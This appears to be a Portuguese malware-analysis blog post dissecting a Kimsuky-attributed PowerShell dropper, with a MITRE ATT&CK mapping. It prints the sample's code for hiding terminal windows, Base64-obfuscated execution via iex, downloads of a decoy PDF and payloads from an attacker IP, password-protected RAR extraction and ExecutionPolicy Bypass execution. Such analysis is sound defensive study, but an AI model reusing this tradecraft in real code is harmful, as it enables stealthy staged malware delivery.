SUMÁRIO: Link para o cabeçalho
- Introdução
- Análise técnica
2.1. Injeção de C# com Add-Type
2.2. Ocultação de processos via ShowWindow
2.3. Ofuscação Base64 e execução dinâmica
2.4. PDF de distração e engenharia social
2.5. Ferramentas Externas para Extração de Payload
2.6. Execução de Payload em Múltiplas Etapas
2.7. Execução do Script da Etapa Final - Mapeamento MITRE ATT&CK
- Considerações Finais
1. INTRODUÇÃO Link para o cabeçalho
APT refere-se a grupos de Ameaça Persistente Avançada (Advanced Persistent Threat), conhecidos por desenvolverem malwares altamente avançados e furtivos.
A amostra analisada aqui está categorizada como APT, Kimsuky, e foi escrita em PowerShell (.ps1
), encontrada no Malware Bazaar.
Objetivo: Aprender técnicas avançadas de evasão e encadeamento (staging).
2. ANÁLISE TÉCNICA Link para o cabeçalho
2.1. Injeção de C# com Add-Type Link para o cabeçalho
$sd = Add-Type @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
public class WinHpXN
{
[DllImport("user32.dll")]
private static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
public static void SwMng(int processId, int sw)
{
Process process = Process.GetProcessById(processId);
IntPtr hWnd = process.MainWindowHandle;
if (hWnd != IntPtr.Zero)
ShowWindow(hWnd, sw);
}
}
"@
- O script usa
Add-Type
para injetar e compilar código C# inline. - A classe
WinHpXN
é criada para chamar a funçãoShowWindow
dauser32.dll
. - Propósito: Ocultar ou exibir janelas de processos específicos.
Valores de sw
:
- 0 =
SW_HIDE
→ ocultar janela - 5 =
SW_SHOW
→ exibir janela (não utilizado aqui)
2.2. Ocultação de processos via ShowWindow Link para o cabeçalho
$fd = Get-Process -Name powershell,WindowsTerminal
foreach ($fz in $fd) {
[WinHpXN]::SwMng($fz.Id, 0)
}
- Usa
Get-Process
para encontrarpowershell
,WindowsTerminal
. - Oculta suas interfaces gráficas (GUI): evasão visual e furtividade contra analistas ou sandboxes.
2.3. Ofuscação Base64 e execução dinâmica Link para o cabeçalho
$gvb = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($sd.Replace('@', '')))
iex $gvb
- Remove o ‘@’ para contornar a correspondência de padrões de antivírus (AV).
- Decodifica e executa o código ofuscado via
Invoke-Expression
.
Nota
Este malware veio com ’@’ dentro da ofuscação para evadir a detecção.
2.4. PDF de distração e engenharia social Link para o cabeçalho
Invoke-WebRequest -Uri "http://92[.]119[.]114[.]128/doc.pdf" -OutFile "$env:TEMP\Distribution Document.pdf"
Start-Process -FilePath "Distribution Document.pdf"
- Faz o download e abre um PDF como isca durante a atividade maliciosa.
- IP criminoso:
92.119.114.128
2.5. Ferramentas Externas para Extração de Payload Link para o cabeçalho
Invoke-WebRequest -Uri "http://92[.]119[.]114[.]128/Assets/UnRAR.exe"
- Faz o download do
UnRAR.exe
para extrair arquivos.rar
protegidos por senha. - Evita o uso do
Expand-Archive
nativo para evadir a detecção.
2.6. Execução de Payload em Múltiplas Etapas Link para o cabeçalho
cmd.exe /C "$env:TEMP\UnRAR.exe x -ppoiuytrewq1234 -o+ $env:TEMP\orwartde.rar $env:TEMP"
Start-Process -FilePath orwartde.exe
- Usa RAR protegido por senha para extrair binários maliciosos.
- Executa múltiplas etapas (por exemplo,
orwartde.exe
,enwtsv.exe
) para aumentar a persistência.
2.7. Execução de Payload em Múltiplas Etapas Link para o cabeçalho
$t = Invoke-WebRequest ...
$gds = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($t))
Set-Content -Path "$env:TEMP\ov4_dd_pf.txt" -Value $gds
if (Test-Path "$env:TEMP\ov4_dd_pf.ps1") {
Remove-Item -Path "$env:TEMP\ov4_dd_pf.ps1" -Force
}
cmd.exe /C "powershell -ExecutionPolicy Bypass -File $env:TEMP\ov4_dd_pf.ps1"
- Faz o download de outra carga-útil(Payload) em PowerShell codificada em base64 e a executa.
- Usa o renomeio de
.txt
para.ps1
para evadir antivírus (AV). - Executa utilizando
ExecutionPolicy Bypass
.
3. Mapeamento MITRE ATT&CK Link para o cabeçalho
Defense Evasion Link para o cabeçalho
- T1027: Obfuscated Files (Base64)
- T1027.002: Packed Files (.rar with password)
- T1218: Signed Binary Proxy Execution (cmd.exe, Start-Process)
- T1036: Masquerading (.ps1 disguised as .txt)
- T1548.002: Bypass User Account Control (ExecutionPolicy Bypass)
Command and Control Link para o cabeçalho
- T1071.001: Application Layer Protocol (HTTP)
- T1105: Ingress Tool Transfer (Downloads: .exe, .rar)
Discovery Link para o cabeçalho
- T1057: Process Discovery (Get-Process to find terminals)
4. CONSIDERAÇÕES FINAIS Link para o cabeçalho
Na minha opinião, conseguimos aprender bastante, especialmente técnicas interessantes de APT que podem ser utilizadas no mundo real.
Thx for reading! — @untw0 : )